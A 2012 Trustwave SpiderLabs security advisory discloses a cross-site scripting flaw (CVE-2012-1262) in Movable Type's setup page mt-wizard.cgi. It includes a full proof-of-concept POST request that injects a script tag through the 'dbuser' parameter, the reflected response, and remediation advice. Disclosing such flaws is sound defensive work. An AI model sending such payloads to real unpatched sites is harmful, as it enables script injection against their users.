Movable Type Publishing Platform Cross Site Scripting

`Trustwave's SpiderLabs Security Advisory TWSL2012-003:  
Cross-Site Scripting Vulnerability in Movable Type Publishing Platform  
  
https://www.trustwave.com/spiderlabs/advisories/TWSL2012-003.txt  
  
Published: 2012-02-24  
Version: 1.0  
  
Vendor: Six Apart (http://movabletype.org/)  
Product: Movable Type  
Version affected: Versions prior to 5.13, 5.07, and 4.38  
  
Product description:  
Movable Type is a weblog publishing system developed by the company Six  
Apart. The software supports static page generation and includes  
functionality, such as managing files, user roles, templates, tags,  
categories, and trackback links.  
  
  
Credit: Jonathan Claudius of Trustwave SpiderLabs  
  
Finding 1: Cross-Site Scripting Vulnerability  
CVE: CVE-2012-1262  
  
After extracting the Moveable Type CGI files and source files on to a web  
server, but before the application is fully installed, cross-site scripting  
vulnerabilities are present in the '/cgi-bin/mt/mt-wizard.cgi' page.  
  
Example(s):  
  
Performing XSS on "dbuser" parameter  
  
#Request  
  
POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1  
Host: A.B.C.D  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
Referer: http://A.B.C.D/cgi-bin/mt/mt-wizard.cgi  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 216  
  
__mode=test&step=configure&set_static_uri_to=&default_language=en-us&config=&dbtype=mysql&dbserver=localhost&dbname=&dbuser=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&dbpass=test&dbpath=&dbport=&dbsocket=&test=1  
  
#Response  
  
<--------------snip----------->  
<p>Connection error: Access denied for user '<script>alert('123')</script>'@'localhost' (using password: YES) at /var/www/cgi-bin/mt/extlib/Data/ObjectDriver/Driver/BaseCache.pm line 320  
<--------------snip----------->  
  
  
Vendor Response: These issues have been addressed as of versions 5.13, 5.07, and 4.38.  
  
  
Remediation Steps: Customers should update to the latest version of Movable  
publishing platform in order to address these issues. The above issues have  
been corrected in versions 5.13, 5.07, and 4.38.  
  
  
Revision History:  
01/11/12 - Vulnerability disclosed  
02/21/12 - Patch released  
02/24/12 - Advisory published  
  
References  
1. http://www.movabletype.org/2012/02/movable_type_513_507_and_438_security_updates.html  
  
  
About Trustwave:  
Trustwave is the leading provider of on-demand and subscription-based  
information security and payment card industry compliance management  
solutions to businesses and government entities throughout the world. For  
organizations faced with today's challenging data security and compliance  
environment, Trustwave provides a unique approach with comprehensive  
solutions that include its flagship TrustKeeper compliance management  
software and other proprietary security solutions. Trustwave has helped  
thousands of organizations--ranging from Fortune 500 businesses and large  
financial institutions to small and medium-sized retailers--manage  
compliance and secure their network infrastructure, data communications and  
critical information assets. Trustwave is headquartered in Chicago with  
offices throughout North America, South America, Europe, Africa, China and  
Australia. For more information, visit https://www.trustwave.com  
  
About Trustwave's SpiderLabs:  
SpiderLabs(R) is the advanced security team at Trustwave focused on  
application security, incident response, penetration testing, physical  
security and security research. The team has performed over a thousand  
incident investigations, thousands of penetration tests and hundreds of  
application security tests globally. In addition, the SpiderLabs Research  
team provides intelligence through bleeding-edge research and proof of  
concept tool development to enhance Trustwave's products and services.  
https://www.trustwave.com/spiderlabs  
  
Disclaimer:  
The information provided in this advisory is provided "as is" without  
warranty of any kind. Trustwave disclaims all warranties, either express or  
implied, including the warranties of merchantability and fitness for a  
particular purpose. In no event shall Trustwave or its suppliers be liable  
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